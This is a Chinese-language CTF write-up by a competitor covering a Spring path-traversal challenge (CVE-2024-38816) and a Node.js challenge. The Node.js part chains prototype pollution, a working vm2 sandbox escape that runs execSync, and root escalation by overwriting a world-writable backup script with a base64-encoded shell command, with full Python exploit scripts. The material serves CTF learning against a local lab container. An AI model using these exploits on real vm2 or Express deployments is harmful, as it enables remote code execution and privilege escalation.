WEB-软件系统安全赛区域现场赛

前言

鼠鼠我第一次打比賽打這麼狼狽 , 斷網0解 , 唉唉 , 第一次注意到自己知識庫的重要性 , 平時一有問題就直接問ai , 這兩題都是要CVE的 , 這個月要沒錢了 , 鼠鼠belike:

da12e261c6cdff0bd0d4aff6a8fc8c6a.jpg

jdbc

原文件給了

011e59aa-b632-4462-ab0c-fa67afeedb8b.png

和一個tar的fix包:

b90d6dbf-9d59-4801-b6d6-7694bbb909fd.png

Webconfig.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.ctf.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.http.codec.ServerCodecConfigurer;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class WebConfig {

@Bean
public RouterFunction<ServerResponse> route() {
return RouterFunctions
.resources("/static/**", new FileSystemResource("/app/static/"));
}
}

其實一眼目錄遍歷 , 但不知如何遍歷 , 沒網啊 , 沒對應的java源碼 , 掃掃不出來

名字是給了, Spring Framework , x哥發的CVE

CVE: CVE-2024-38816 Spring Framework

1
/static/\/\/../../????

看紅暈了

fix: 等別人師傅wp吧

nodejs

原文件給了 app.js 和 package.json

我這裹加一個前端上去 , 看隃看別人wp , flag 是在/app/public/的 , 在那搞一個

先開個容器先:
nodejs題目仿寫
bulid :

1
2
docker build -t nodejs .
docker run --rm -p 3000:3000 --name nodejs nodejs

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
const express = require('express');
const path = require('path');
const session = require('express-session');
const { VM } = require('vm2');
const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

// Session 配置
app.use(session({
secret: 'random',
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000, // 1小时
httpOnly: true
}
}));

const users = {};

function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

// 首页
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

// 注册
app.post('/register', (req, res) => {
const { username, password } = req.body;

if (!username || !password) {
return res.json({ error: '用户名和密码不能为空' });
}

if (users[username]) {
return res.json({ error: '用户已存在' });
}

users[username] = { username, password };
res.json({ message: '注册成功,请登录' });
});

// 登录
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (!user || user.password !== password) {
return res.json({ error: '用户名或密码错误' });
}

req.session.user = { username: user.username };
res.json({
message: '登录成功',
user: {
username: user.username,
isAdmin: user.isAdmin
}
});
});

// 退出登录
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.json({ error: '退出失败' });
}
res.json({ message: '已退出登录' });
});
});

// 修改密码
app.post('/changepassword', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

const { oldPassword, newPassword, confirmPassword } = req.body;

// 验证旧密码
if (user.password !== oldPassword) {
return res.json({ error: '旧密码错误' });
}

// 验证新密码
if (newPassword !== confirmPassword) {
return res.json({ error: '两次密码不一致' });
}

merge(user, req.body);
user.password = newPassword;

res.json({ message: '密码修改成功' });
});

// 用户信息(检查登录状态)
app.get('/me', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

res.json({
username: user.username,
isAdmin: user.isAdmin
});
});

// 管理员面板
app.get('/admin', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

if (user.isAdmin === true) {
res.json({
message: '欢迎管理员!',
});
} else {
res.json({ error: '需要管理员权限' });
}
});

app.post('/sandbox', async (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

if (user.isAdmin !== true) {
return res.json({ error: '需要管理员权限' });
}

const { code } = req.body;
if (!code) return res.json({ error: '请提供代码' });

try {
const sandboxResult = { value: null };

const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});

const result = vm.run(code);

await new Promise(resolve => setTimeout(resolve, 500));

res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});

app.listen(3000, () => {
console.log('Server running on port 3000');
});

package.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "nodejs",
"version": "1.0.0",
"description": "nodejs",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.18.2",
"express-session": "^1.17.3",
"vm2": "3.10.0"
}
}

第一關:原形鏈污染

先看看app.js

1
2
3
4
5
6
7
8
9
10
11
12
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

经典的 constructor.prototype 绕过,这段 merge() 过滤了 proto,但没挡住 constructor -> prototype

在/changepassword 抓一下包 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /changepassword HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 73
sec-ch-ua-platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3000/static/password.html
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AdBUp59pMe2cItoFR3Igm0Wwy9EU0QrB1.%2Fj41BSvHU1UeAHtDdn5Wpxvq9mssW%2Fix7mOF0rpnKpo
Connection: keep-alive

{
"oldPassword":"12345",
"newPassword":"123456",
"confirmPassword":"123456",
"constructor":{
"prototype":{
"isAdmin" : true
}
}
}
2aba3e2a121e055e965b3bfd4a77a698.png

第二關:沙箱逃逸

http://127.0.0.1:3000/static/sandbox.html

鼠鼠我是第一次打沙箱逃逸,現場賽真的很狼狽 , 問了問隊友拿CVE

x哥給的CVE : vm2沙箱逃逸漏洞

它是 Node.js / JavaScript 的沙盒逃逸 , 鼠鼠還真對JS沙盒不熟

421c94c352871379fc5ac30a18769b91.jpg

省流: 大概是vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷

then / catch

它们是 JavaScript 里 Promise 的标准方法 , Promise.prototype.thenPromise.prototype.catch 都是 Promise 原型上的标准方法。

Promise 就是“现在还没出结果,之后会有结果”的对象。
结果只有两种常见状态:

fulfilled:成功,拿到值
rejected:失败,拿到错误

then 是“等它完成之后,继续做下一步”。

常见写法:

1
2
3
fetchData().then(value => {
console.log(value);
});

Promise.prototype.then 写两个参数:

1
promise.then(onFulfilled, onRejected)
  • 第一个参数处理成功
  • 第二个参数处理失败

catch 是“专门处理失败”。

常见写法:

1
2
3
fetchData().catch(err => {
console.log(err);
});

Promise.prototype.catch:

1
promise.catch(onRejected)
dfa39bccdb7c406248a84c50c602d9ca.png

vm2 在处理 Promise 的 then / catch 回调时,保护没做完整。

看一看原碼, 這裹要發的是__result.value , 沙盒格式是json :

1
2
3
{
"code":"???"
}
bd8381ee75925a9cae894dbeca74044e.png

先試了試:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const error = new Error();
error.name = Symbol();

const f = async () => error.stack;
const p = f();

p.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
__result.value = Function(
"return process.mainModule.require('child_process').execSync('id').toString()"
)();
});

"submitted";

第三關:提權

改改command

1
2
3
4
5
6
pwd
/app
whoami
ctf
ls -l / > /app/public/1
cat /app/public/1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
drwxr-xr-x    1 ctf      ctf           4096 Apr 22 10:55 app
-rwxrwxrwx 1 root root 535 Apr 22 10:49 backup.sh
drwxr-xr-x 1 root root 4096 Mar 27 2025 bin
drwxr-xr-x 5 root root 340 Apr 22 11:44 dev
drwxr-xr-x 1 root root 4096 Apr 22 11:44 etc
-r-------- 1 root root 28 Apr 22 10:25 flag
drwxr-xr-x 1 root root 4096 Apr 22 10:55 home
drwxr-xr-x 1 root root 4096 Feb 13 2025 lib
drwxr-xr-x 5 root root 4096 Feb 13 2025 media
drwxr-xr-x 2 root root 4096 Feb 13 2025 mnt
drwxr-xr-x 1 root root 4096 Mar 27 2025 opt
dr-xr-xr-x 320 root root 0 Apr 22 11:44 proc
drwx------ 1 root root 4096 Apr 22 11:44 root
drwxr-xr-x 3 root root 4096 Feb 13 2025 run
drwxr-xr-x 2 root root 4096 Feb 13 2025 sbin
drwxr-xr-x 2 root root 4096 Feb 13 2025 srv
-rwxr-xr-x 1 root root 217 Apr 22 10:49 start.sh
dr-xr-xr-x 13 root root 0 Apr 22 11:44 sys
drwxrwxrwt 1 root root 4096 Apr 22 11:44 tmp
drwxr-xr-x 1 root root 4096 Mar 27 2025 usr
drwxr-xr-x 11 root root 4096 Feb 13 2025 var

cat /flag 試試:

1
2
cat /flag
502

可以看出要提權到root

1
cat /start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
set -eu

mkdir -p /tmp/backups

# 背景定時備份
(
while true; do
/backup.sh
sleep 60
done
) &

# 以前台方式用 ctf 身份啟動 node 服務
cd /app
exec su ctf -s /bin/sh -c "npm start"

1
cat /backup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

# 備份應用原始碼到 /tmp/backups 目錄
BACKUP_DIR="/tmp/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"

# 建立備份目錄
mkdir -p "$BACKUP_DIR"

# 備份應用檔案
echo "Creating backup: $BACKUP_FILE"
tar -czf "$BACKUP_FILE" -C /app .

# 設定備份檔案權限
chmod 644 "$BACKUP_FILE"

# 清理舊備份(保留最近5個)
cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f 2>/dev/null || true

echo "Backup completed: $BACKUP_FILE"

可以看出每60s會执行./backup.sh

如果我可以覆盖backup.sh 就可以在/tmp/backups上找到flag

cat /flag > /app/public/flag

1
2
3
4
5
6
node:internal/errors:865
const err = new Error(message);
^

Error: Command failed: cat /flag > /app/public/flag
/bin/sh: can't create /app/public/flag: Permission denied

echo "cat /flag > /app/public/flag" > /backup.sh

我趣沒那麼多”用啊 , 轉一轉base64

echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh

等60秒刷一下環境

cat /app/public/flag

679064c8df4a486c28f47f81f82c4132.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests

base = "http://127.0.0.1:3000"
s = requests.Session()

username = "ghsc"
password = "123456"

# 1) register
r = s.post(
f"{base}/register",
json={"username": username, "password": password},
timeout=10,
)
print("register:", r.status_code, r.text)

# 2) login
r = s.post(
f"{base}/login",
json={"username": username, "password": password},
timeout=10,
)

# 4) 改密碼
print("changepassword:", r.status_code, r.text)
r = s.post(
f"{base}/changepassword",
json={
"oldPassword":"123456",
"newPassword":"12345",
"confirmPassword":"12345",
"constructor":{
"prototype":{
"isAdmin" : True
}
}
},
timeout=10,
)

password = "12345"

print("cookies:", s.cookies.get_dict())

# 3) 看目前登入狀態
r = s.get(f"{base}/me", timeout=10)
print("me:", r.status_code, r.text)



# 5) sandbox 測試
r = s.post(
f"{base}/sandbox",
json={
"code": '__result.value = "hello from sandbox"; "ok";'
},
timeout=10,
)
print("sandbox:", r.status_code, r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

base = "http://127.0.0.1:3000"
s = requests.Session()

username = "ghsc"
password = "12345"

#login
r = s.post(
f"{base}/login",
json={"username": username, "password": password},
timeout=10,
)

code = """
const error = new Error();
error.name = Symbol();

const f = async () => error.stack;
const p = f();

p.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
__result.value = Function(
" return process.mainModule.require('child_process').execSync('echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh').toString()"
)();
});

""".strip()


#sandbox
r = s.post(
f"{base}/sandbox",
json={
"code": code
},
timeout=10,
)
print("sandbox:", r.status_code, r.text)

60s後

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

base = "http://127.0.0.1:3000"
s = requests.Session()

username = "ghsc"
password = "12345"

#login
r = s.post(
f"{base}/login",
json={"username": username, "password": password},
timeout=10,
)

code = """
const error = new Error();
error.name = Symbol();

const f = async () => error.stack;
const p = f();

p.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
__result.value = Function(
" return process.mainModule.require('child_process').execSync('cat /app/public/flag').toString()"
)();
});

""".strip()


#sandbox
r = s.post(
f"{base}/sandbox",
json={
"code": code
},
timeout=10,
)
print("sandbox:", r.status_code, r.text)

都看到這了 , 睡覺吧:

0f6943744a9bc2146f1161401f1ab7b1.jpg